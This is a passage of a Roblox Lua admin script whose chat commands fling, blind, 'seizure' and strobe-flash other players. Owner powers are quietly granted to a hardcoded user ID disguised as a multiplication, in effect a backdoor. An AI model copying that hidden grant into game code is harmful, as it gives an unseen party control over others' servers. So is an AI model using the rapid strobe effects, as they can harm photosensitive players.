  1692. if msg:lower():sub(1,5) == "spin " then
  1693. local plrz = GetPlr(plr, msg:lower():sub(6))
  1694. for i, v in pairs(plrz) do
  1695. coroutine.resume(coroutine.create(function()
  1696. if v and v.Character and v.Character:findFirstChild("Torso") then
  1697. for i,v in pairs(v.Character.Torso:children()) do if v.Name == "SPINNER" then v:Destroy() end end
  1698. local torso = v.Character:findFirstChild("Torso")
  1699. local bg = Instance.new("BodyGyro", torso) bg.Name = "SPINNER" bg.maxTorque = Vector3.new(0,math.huge,0) bg.P = 11111 bg.cframe = torso.CFrame table.insert(objects,bg)
  1700. repeat wait(1/44) bg.cframe = bg.cframe * CFrame.Angles(0,math.rad(30),0)
  1701. until not bg or bg.Parent ~= torso
  1702. end
  1703. end))
  1704. end
  1705. end
  1706.  
  1707. if msg:lower():sub(1,7) == "unspin " then
  1708. local plrz = GetPlr(plr, msg:lower():sub(8))
  1709. for i, v in pairs(plrz) do
  1710. coroutine.resume(coroutine.create(function()
  1711. if v and v.Character and v.Character:findFirstChild("Torso") then
  1712. for a,q in pairs(v.Character.Torso:children()) do if q.Name == "SPINNER" then q:Destroy() end end
  1713. end
  1714. end))
  1715. end
  1716. end
  1717.  
  1718. if msg:lower():sub(1,4) == "dog " then
  1719. local plrz = GetPlr(plr, msg:lower():sub(5))
  1720. for i, v in pairs(plrz) do
  1721. coroutine.resume(coroutine.create(function()
  1722. if v and v.Character and v.Character:findFirstChild("Torso") then
  1723. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1724. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1725. v.Character.Torso.Transparency = 1
  1726. v.Character.Torso.Neck.C0 = CFrame.new(0,-.5,-2) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1727. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(90),0)
  1728. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(-90),0)
  1729. v.Character.Torso["Right Hip"].C0 = CFrame.new(1.5,-1,1.5) * CFrame.Angles(0,math.rad(90),0)
  1730. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1.5,-1,1.5) * CFrame.Angles(0,math.rad(-90),0)
  1731. local new = Instance.new("Seat", v.Character) new.Name = "FAKETORSO" new.formFactor = "Symmetric" new.TopSurface = 0 new.BottomSurface = 0 new.Size = Vector3.new(3,1,4) new.CFrame = v.Character.Torso.CFrame
  1732. local bf = Instance.new("BodyForce", new) bf.force = Vector3.new(0,new:GetMass()*196.25,0)
  1733. local weld = Instance.new("Weld", v.Character.Torso) weld.Part0 = v.Character.Torso weld.Part1 = new weld.C0 = CFrame.new(0,-.5,0)
  1734. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Brown") elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Brown") end end
  1735. end
  1736. end))
  1737. end
  1738. end
  1739.  
  1740. if msg:lower():sub(1,6) == "undog " then
  1741. local plrz = GetPlr(plr, msg:lower():sub(7))
  1742. for i, v in pairs(plrz) do
  1743. coroutine.resume(coroutine.create(function()
  1744. if v and v.Character and v.Character:findFirstChild("Torso") then
  1745. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  1746. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  1747. v.Character.Torso.Transparency = 0
  1748. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1749. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  1750. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  1751. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  1752. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  1753. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
  1754. end
  1755. end))
  1756. end
  1757. end
  1758.  
  1759. if msg:lower():sub(1,8) == "creeper " then
  1760. local plrz = GetPlr(plr, msg:lower():sub(9))
  1761. for i, v in pairs(plrz) do
  1762. coroutine.resume(coroutine.create(function()
  1763. if v and v.Character and v.Character:findFirstChild("Torso") then
  1764. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1765. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1766. v.Character.Torso.Transparency = 0
  1767. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1768. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(90),0)
  1769. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(-90),0)
  1770. v.Character.Torso["Right Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(90),0)
  1771. v.Character.Torso["Left Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(-90),0)
  1772. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Bright green") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Bright green") end end
  1773. end
  1774. end))
  1775. end
  1776. end
  1777.  
  1778. if msg:lower():sub(1,10) == "uncreeper " then
  1779. local plrz = GetPlr(plr, msg:lower():sub(11))
  1780. for i, v in pairs(plrz) do
  1781. coroutine.resume(coroutine.create(function()
  1782. if v and v.Character and v.Character:findFirstChild("Torso") then
  1783. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  1784. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  1785. v.Character.Torso.Transparency = 0
  1786. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1787. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  1788. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  1789. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  1790. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  1791. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
  1792. end
  1793. end))
  1794. end
  1795. end
  1796.  
  1797. if msg:lower():sub(1,8) == "bighead " then
  1798. local plrz = GetPlr(plr, msg:lower():sub(9))
  1799. for i, v in pairs(plrz) do
  1800. coroutine.resume(coroutine.create(function()
  1801. if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(3,3,3) v.Character.Torso.Neck.C0 = CFrame.new(0,1.9,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
  1802. end))
  1803. end
  1804. end
  1805.  
  1806. if msg:lower():sub(1,9) == "minihead " then
  1807. local plrz = GetPlr(plr, msg:lower():sub(10))
  1808. for i, v in pairs(plrz) do
  1809. coroutine.resume(coroutine.create(function()
  1810. if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(.75,.75,.75) v.Character.Torso.Neck.C0 = CFrame.new(0,.8,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
  1811. end))
  1812. end
  1813. end
  1814.  
  1815. if msg:lower():sub(1,6) == "fling " then
  1816. local plrz = GetPlr(plr, msg:lower():sub(7))
  1817. for i, v in pairs(plrz) do
  1818. coroutine.resume(coroutine.create(function()
  1819. if v and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  1820. local xran local zran
  1821. repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
  1822. repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
  1823. v.Character.Humanoid.Sit = true v.Character.Torso.Velocity = Vector3.new(0,0,0)
  1824. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
  1825. end
  1826. end))
  1827. end
  1828. end
  1829.  
  1830. if msg:lower():sub(1,8) == "seizure " then
  1831. local plrz = GetPlr(plr, msg:lower():sub(9))
  1832. for i, v in pairs(plrz) do
  1833. coroutine.resume(coroutine.create(function()
  1834. if v and v.Character then
  1835. v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(math.rad(90),0,0)
  1836. local cl = script.ScriptBase:Clone() cl.Name = "SeizureBase" cl.Code.Value = [[repeat wait() script.Parent.Humanoid.PlatformStand = true script.Parent.Torso.Velocity = Vector3.new(math.random(-10,10),-5,math.random(-10,10)) script.Parent.Torso.RotVelocity = Vector3.new(math.random(-5,5),math.random(-5,5),math.random(-5,5)) until nil]]
  1837. table.insert(objects, cl) cl.Parent = v.Character cl.Disabled = false
  1838. end
  1839. end))
  1840. end
  1841. end
  1842.  
  1843. if msg:lower():sub(1,10) == "unseizure " then
  1844. local plrz = GetPlr(plr, msg:lower():sub(11))
  1845. for i, v in pairs(plrz) do
  1846. coroutine.resume(coroutine.create(function()
  1847. if v and v.Character then
  1848. for i,v in pairs(v.Character:children()) do if v.Name == "SeizureBase" then v:Destroy() end end
  1849. wait(.1) v.Character.Humanoid.PlatformStand = false
  1850. end
  1851. end))
  1852. end
  1853. end
  1854.  
  1855. if msg:lower():sub(1,12) == "removelimbs " then
  1856. local plrz = GetPlr(plr, msg:lower():sub(13))
  1857. for i, v in pairs(plrz) do
  1858. coroutine.resume(coroutine.create(function()
  1859. if v and v.Character then
  1860. for a, obj in pairs(v.Character:children()) do
  1861. if obj:IsA("BasePart") and (obj.Name:find("Leg") or obj.Name:find("Arm")) then obj:Destroy() end
  1862. end
  1863. end
  1864. end))
  1865. end
  1866. end
  1867.  
  1868. if msg:lower():sub(1,5) == "name " then
  1869. local chk1 = msg:lower():sub(6):find(" ") + 5
  1870. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1871. for i, v in pairs(plrz) do
  1872. coroutine.resume(coroutine.create(function()
  1873. if v and v.Character and v.Character:findFirstChild("Head") then
  1874. for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
  1875. local char = v.Character
  1876. local mod = Instance.new("Model", char) mod.Name = msg:sub(chk1+1)
  1877. local cl = char.Head:Clone() cl.Parent = mod local hum = Instance.new("Humanoid", mod) hum.Name = "NameTag" hum.MaxHealth = 0 hum.Health = 0
  1878. local weld = Instance.new("Weld", cl) weld.Part0 = cl weld.Part1 = char.Head
  1879. char.Head.Transparency = 1
  1880. end
  1881. end))
  1882. end
  1883. end
  1884.  
  1885. if msg:lower():sub(1,7) == "unname " then
  1886. local plrz = GetPlr(plr, msg:lower():sub(8))
  1887. for i, v in pairs(plrz) do
  1888. coroutine.resume(coroutine.create(function()
  1889. if v and v.Character and v.Character:findFirstChild("Head") then
  1890. for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
  1891. end
  1892. end))
  1893. end
  1894. end
  1895.  
  1896. if msg:lower():sub(1,5) == "char " then
  1897. local chk1 = msg:lower():sub(6):find(" ") + 5
  1898. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1899. for i, v in pairs(plrz) do
  1900. coroutine.resume(coroutine.create(function()
  1901. if v and v.Character then
  1902. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. msg:sub(chk1+1)
  1903. v:LoadCharacter()
  1904. end
  1905. end))
  1906. end
  1907. end
  1908.  
  1909. if msg:lower():sub(1,7) == "unchar " then
  1910. local plrz = GetPlr(plr, msg:lower():sub(8))
  1911. for i, v in pairs(plrz) do
  1912. coroutine.resume(coroutine.create(function()
  1913. if v and v.Character then
  1914. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. v.userId
  1915. v:LoadCharacter()
  1916. end
  1917. end))
  1918. end
  1919. end
  1920.  
  1921. if msg:lower():sub(1,7) == "infect " then
  1922. local plrz = GetPlr(plr, msg:lower():sub(8))
  1923. for i, v in pairs(plrz) do
  1924. coroutine.resume(coroutine.create(function()
  1925. if v and v.Character then
  1926. Infect(v.Character)
  1927. end
  1928. end))
  1929. end
  1930. end
  1931.  
  1932. if msg:lower():sub(1,11) == "rainbowify " then
  1933. local plrz = GetPlr(plr, msg:lower():sub(12))
  1934. for i, v in pairs(plrz) do
  1935. coroutine.resume(coroutine.create(function()
  1936. if v and v.Character and v.Character:findFirstChild("Torso") then
  1937. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1938. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1939. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1940. local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) local clr = BrickColor.random() for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = clr v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = clr v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
  1941. cl.Parent = v.Character cl.Disabled = false
  1942. end
  1943. end))
  1944. end
  1945. end
  1946.  
  1947. if msg:lower():sub(1,9) == "flashify " then
  1948. local plrz = GetPlr(plr, msg:lower():sub(10))
  1949. for i, v in pairs(plrz) do
  1950. coroutine.resume(coroutine.create(function()
  1951. if v and v.Character and v.Character:findFirstChild("Torso") then
  1952. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1953. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1954. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1955. local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Institutional white") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Institutional white") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Really black") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Really black") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
  1956. cl.Parent = v.Character cl.Disabled = false
  1957. end
  1958. end))
  1959. end
  1960. end
  1961.  
  1962. if msg:lower():sub(1,8) == "noobify " then
  1963. local plrz = GetPlr(plr, msg:lower():sub(9))
  1964. for i, v in pairs(plrz) do
  1965. coroutine.resume(coroutine.create(function()
  1966. if v and v.Character then
  1967. Noobify(v.Character)
  1968. end
  1969. end))
  1970. end
  1971. end
  1972.  
  1973. if msg:lower():sub(1,9) == "ghostify " then
  1974. local plrz = GetPlr(plr, msg:lower():sub(10))
  1975. for i, v in pairs(plrz) do
  1976. coroutine.resume(coroutine.create(function()
  1977. if v and v.Character and v.Character:findFirstChild("Torso") then
  1978. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1979. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1980. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1981. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  1982. prt.Transparency = .5 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Institutional white")
  1983. if prt.Name:find("Leg") then prt.Transparency = 1 end
  1984. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = .5 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Institutional white")
  1985. end end
  1986. end
  1987. end))
  1988. end
  1989. end
  1990.  
  1991. if msg:lower():sub(1,8) == "goldify " then
  1992. local plrz = GetPlr(plr, msg:lower():sub(9))
  1993. for i, v in pairs(plrz) do
  1994. coroutine.resume(coroutine.create(function()
  1995. if v and v.Character and v.Character:findFirstChild("Torso") then
  1996. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1997. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1998. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1999. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  2000. prt.Transparency = 0 prt.Reflectance = .4 prt.BrickColor = BrickColor.new("Bright yellow")
  2001. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = .4 prt.Head.BrickColor = BrickColor.new("Bright yellow")
  2002. end end
  2003. end
  2004. end))
  2005. end
  2006. end
  2007.  
  2008. if msg:lower():sub(1,6) == "shiny " then
  2009. local plrz = GetPlr(plr, msg:lower():sub(7))
  2010. for i, v in pairs(plrz) do
  2011. coroutine.resume(coroutine.create(function()
  2012. if v and v.Character and v.Character:findFirstChild("Torso") then
  2013. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  2014. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  2015. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  2016. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  2017. prt.Transparency = 0 prt.Reflectance = 1 prt.BrickColor = BrickColor.new("Institutional white")
  2018. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 1 prt.Head.BrickColor = BrickColor.new("Institutional white")
  2019. end end
  2020. end
  2021. end))
  2022. end
  2023. end
  2024.  
  2025. if msg:lower():sub(1,7) == "normal " then
  2026. local plrz = GetPlr(plr, msg:lower():sub(8))
  2027. for i, v in pairs(plrz) do
  2028. coroutine.resume(coroutine.create(function()
  2029. if v and v.Character and v.Character:findFirstChild("Torso") then
  2030. if v.Character:findFirstChild("Head") then v.Character.Head.Mesh.Scale = Vector3.new(1.25,1.25,1.25) end
  2031. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  2032. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  2033. v.Character.Torso.Transparency = 0
  2034. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  2035. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  2036. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  2037. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  2038. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  2039. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  2040. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  2041. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("White")
  2042. if prt.Name == "FAKETORSO" then prt:Destroy() end
  2043. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("White")
  2044. end end
  2045. end
  2046. end))
  2047. end
  2048. end
  2049.  
  2050. if msg:lower():sub(1,7) == "trippy " then
  2051. local plrz = GetPlr(plr, msg:lower():sub(8))
  2052. for i, v in pairs(plrz) do
  2053. coroutine.resume(coroutine.create(function()
  2054. if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then
  2055. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  2056. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUITRIPPY"
  2057. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  2058. local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255) until nil]] cl.Parent = scr cl.Disabled = false
  2059. end
  2060. end))
  2061. end
  2062. end
  2063.  
  2064. if msg:lower():sub(1,9) == "untrippy " then
  2065. local plrz = GetPlr(plr, msg:lower():sub(10))
  2066. for i, v in pairs(plrz) do
  2067. coroutine.resume(coroutine.create(function()
  2068. if v and v:findFirstChild("PlayerGui") then
  2069. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUITRIPPY" then g:Destroy() end end
  2070. end
  2071. end))
  2072. end
  2073. end
  2074.  
  2075. if msg:lower():sub(1,7) == "strobe " then
  2076. local plrz = GetPlr(plr, msg:lower():sub(8))
  2077. for i, v in pairs(plrz) do
  2078. coroutine.resume(coroutine.create(function()
  2079. if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then
  2080. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  2081. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUISTROBE"
  2082. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  2083. local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(1,1,1) wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(0,0,0) until nil]] cl.Parent = scr cl.Disabled = false
  2084. end
  2085. end))
  2086. end
  2087. end
  2088.  
  2089. if msg:lower():sub(1,9) == "unstrobe " then
  2090. local plrz = GetPlr(plr, msg:lower():sub(10))
  2091. for i, v in pairs(plrz) do
  2092. coroutine.resume(coroutine.create(function()
  2093. if v and v:findFirstChild("PlayerGui") then
  2094. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUISTROBE" then g:Destroy() end end
  2095. end
  2096. end))
  2097. end
  2098. end
  2099.  
  2100. if msg:lower():sub(1,6) == "blind " then
  2101. local plrz = GetPlr(plr, msg:lower():sub(7))
  2102. for i, v in pairs(plrz) do
  2103. coroutine.resume(coroutine.create(function()
  2104. if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then
  2105. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  2106. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUIBLIND"
  2107. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  2108. end
  2109. end))
  2110. end
  2111. end
  2112.  
  2113. if msg:lower():sub(1,8) == "unblind " then
  2114. local plrz = GetPlr(plr, msg:lower():sub(9))
  2115. for i, v in pairs(plrz) do
  2116. coroutine.resume(coroutine.create(function()
  2117. if v and v:findFirstChild("PlayerGui") then
  2118. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUIBLIND" then g:Destroy() end end
  2119. end
  2120. end))
  2121. end
  2122. end
  2123.  
  2124. if msg:lower():sub(1,7) == "guifix " then
  2125. local plrz = GetPlr(plr, msg:lower():sub(8))
  2126. for i, v in pairs(plrz) do
  2127. coroutine.resume(coroutine.create(function()
  2128. if v and v:findFirstChild("PlayerGui") then
  2129. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  2130. end
  2131. end))
  2132. end
  2133. end
  2134.  
  2135. if msg:lower():sub(1,9) == "loopheal " then
  2136. local plrz = GetPlr(plr, msg:lower():sub(10))
  2137. for i, v in pairs(plrz) do
  2138. if v then
  2139. local cl = script.ScriptBase:Clone() cl.Name = "LoopHeal:"..v.Name cl.Code.Value = [[
  2140. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  2141. repeat wait()
  2142. coroutine.resume(coroutine.create(function()
  2143. if plr and plr.Character and plr.Character:findFirstChild("Humanoid") then
  2144. plr.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth
  2145. plr.Character.Humanoid.Changed:connect(function() r.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth end)
  2146. end
  2147. end))
  2148. until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  2149. end
  2150. end
  2151. end
  2152.  
  2153. if msg:lower():sub(1,11) == "unloopheal " then
  2154. local plrz = GetPlr(plr, msg:lower():sub(12))
  2155. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopHeal:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  2156. end
  2157.  
  2158. if msg:lower():sub(1,10) == "loopfling " then
  2159. local plrz = GetPlr(plr, msg:lower():sub(11))
  2160. for i, v in pairs(plrz) do
  2161. if v then
  2162. local cl = script.ScriptBase:Clone() cl.Name = "LoopFling:"..v.Name cl.Code.Value = [[
  2163. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  2164. repeat
  2165. coroutine.resume(coroutine.create(function()
  2166. if plr and plr.Character and plr.Character:findFirstChild("Torso") and plr.Character:findFirstChild("Humanoid") then
  2167. local xran local zran
  2168. repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
  2169. repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
  2170. plr.Character.Humanoid.Sit = true plr.Character.Torso.Velocity = Vector3.new(0,0,0)
  2171. local frc = Instance.new("BodyForce", plr.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
  2172. end
  2173. end))
  2174. wait(2) until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  2175. end
  2176. end
  2177. end
  2178.  
  2179. if msg:lower():sub(1,12) == "unloopfling " then
  2180. local plrz = GetPlr(plr, msg:lower():sub(13))
  2181. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopFling:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  2182. end
  2183.  
  2184. end
  2185.  
  2186. if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId then
  2187.  
  2188. if msg:lower():sub(1,3) == "oa " then
  2189. local plrz = GetPlr(plr, msg:lower():sub(4))
  2190. for i, v in pairs(plrz) do
  2191. coroutine.resume(coroutine.create(function()
  2192. if v and not ChkOwner(v.Name) then table.insert(owners, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  2193. end))
  2194. end
  2195. end
  2196.  
  2197. if msg:lower():sub(1,5) == "unoa " then
  2198. for i = 1, #owners do
  2199. coroutine.resume(coroutine.create(function()
  2200. if msg:lower():sub(6) == "all" or owners[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(owners, i) end
  2201. end))
  2202. end
  2203. end
  2204.  
  2205. if msg:lower() == "settings" then
  2206. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "SETTINGSGUI" then v:Destroy() end end
  2207. local scr = Instance.new("ScreenGui",plr.PlayerGui) scr.Name = "SETTINGSGUI"
  2208. local main = Instance.new("Frame", scr) main.Style = "RobloxRound" main.Size = UDim2.new(0,200,0,110) main.Position = UDim2.new(0.5,-100,.5,-55) main.ZIndex = 7 main.ClipsDescendants = true
